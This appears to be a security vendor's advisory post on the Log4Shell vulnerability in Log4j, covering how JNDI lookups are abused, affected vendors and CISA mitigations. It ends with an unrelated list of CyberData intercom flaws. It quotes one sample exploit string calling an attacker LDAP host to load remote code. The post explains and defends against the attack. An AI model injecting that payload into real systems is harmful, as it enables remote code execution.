The zero-day vulnerability uncovered in the popular open source Java-based Apache logging framework, Log4j, has sent security teams scrambling to mitigate the effects of this potentially devastating flaw.
Known as Log4Shell, the vulnerability (CVE-2021-44228) may be trivially abused by a threat actor using a specially crafted string to gain remote code execution on affected applications and services. It was assigned a CVSS score of 10.0. Apache has addressed the vulnerability in version 2.16.0, which has been available since Dec. 9. Log4j versions 2.14.1 and earlier are affected with varying degrees of severity, according to Apache.
In addition on Tuesday, a second vulnerability was discovered in Log4j version 2.15.0, CVE-2021-45046, that can enable denial-of-service attacks. According to Apache, the fix for CVE-2021-44228 was incomplete in certain non-default configurations. An attacker could use malicious input data using a JDNI lookup pattern to cause denial-of-service conditions. This second vulnerability was addressed in versions 2.12.2 and 2.16.0.
Organizations running products built with affected versions of Log4j should patch this vulnerability immediately. Proof-of-concept exploits have been shared online since news of the vulnerability broke late last week, and vendors including Cloudflare and Cisco have detected attacks since early December.
Given the ease of exploitation of this vulnerability, some early attacks have included the installation of crypt-mining software on vulnerable machines, or the botnets co-opting vulnerable computers. Ransomware attacks are not out of the question with this flaw, as are other code-injection attacks.
Here's the latest:
The vulnerability, which was found in Log4j versions 2.0-beta9 to 2.14.1 (version 1.x is no longer supported), affects a number of commercial and open source products used internet-wide, including Apache Struts, Elasticsearch, and VMware vCenter.
The vulnerability is trivial to exploit given the ease with which an attacker can inject a malicious string that would execute code from a remote server.
Java lookup mechanisms supported by Log4j include the Java Naming and Directory Interface (JNDI), DNS, and RMI, among others. Lookups check for the ${expression} syntax, find the value of the expression, and replace it.
An attacker can, via a HTTP request, inject a JNDI expression that will be logged and executed by Log4j. For example, if the log contains the ${expression} string, the lookup method will find and execute it. An attacker who is able to send their malicious request can force Log4j to download a malicious Java class from an attacker-controlled LDAP server, for example, and execute the malicious code from the attacker's site.
The malicious expression could look like this:
${jndi:ldap://evil.com/abc}
Log4j is the logging utility used in a large number of applications used in operational technology networks across industries. Industrial automation vendors have already begun patching their products and urging users to implement these updates, ramping up the urgency to fix this issue in a timely manner.
Prosys, for example, has already updated its OPC UA Simulation Server, Modbus Server, Historian, Browser, and Monitor products that were affected.
Siemens has also published an advisory that explains how Log4j affects its products, including Industrial Edge Management and more than a dozen other packages. Remediation information is also available.
Team82 has also worked to create a number of proof-of-concept exploits that vendor partners may use to test whether their products are vulnerable.
Dozens of other vendors have either published patches, mitigations, or lists of affected products. Some of these include internet giants such as Amazon, Cisco, IBM, Juniper Networks, Oracle, Splunk, and VMware, among others. Virtualization products from VMware, including the ESXi server have some OT applications that are impacted by Log4j; below, a Shodan search shows more than 95,000 ESXi installations online, while the second image shows a Team82 PoC triggering the vulnerability on VMware vCenter virtualization server.
Claroty products do not use the Log4j package and are not impacted by this vulnerability.
CISA recommends that organizations apply patches for affected applications as they're available. You should expect that ICS automation vendors will release advisories about vulnerable products in the near future as they conduct their diligence.
Knowing that it may not to be possible to patch systems in OT environments quickly, for any unpatched system, version 2.10 and above, CISA recommends setting log4j2.formatMsgNoLookups to true by adding -Dlog4j2.formatMsgNoLookups=True to the Java Virtual Machine command.
If you're a Claroty CTD customer, Team82 has also made available to users a new Snort rule that detects exploits against web servers. If you're receiving automated threat bundle updates, you already have detections in place. If you're manually applying threat bundles, you should download and apply them as soon as possible.
"To be clear, this vulnerability poses a severe risk," said CISA Director Jen Easterly in a statement. "We will only minimize potential impacts through collaborative efforts between government and the private sector. We urge all organizations to join us in this essential effort and take action."
CWE-35 Path Traversal:
011209 Intercom could allow an authenticated attacker to upload arbitrary files to multiple locations within the system.
CyberData recommends users update to v22.0.1
CVSS v3: 9.8
CWE-522 Insufficiently Protected Credentials:
011209 Intercom does not properly store or protect web server admin credentials.
CyberData recommends users update to v22.0.1
CVSS v3: 7.5
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'):
011209 Intercom could allow an unauthenticated user to gather sensitive information through blind SQL injections.
CyberData recommends users update to v22.0.1
CVSS v3: 5.3
CWE-306 Missing Authentication for Critical Function:
011209 Intercom exposes features that could allow an unauthenticated to gain access and cause a denial-of-service condition or system disruption.
CyberData recommends users update to v22.0.1
CVSS v3: 7.5
CWE-288 Authentication Bypass Using an Alternate Path or Channel:
011209 Intercom could allow an unauthenticated user access to the Web Interface through an alternate path.
CyberData recommends users update to v22.0.1
CVSS v3: 9.8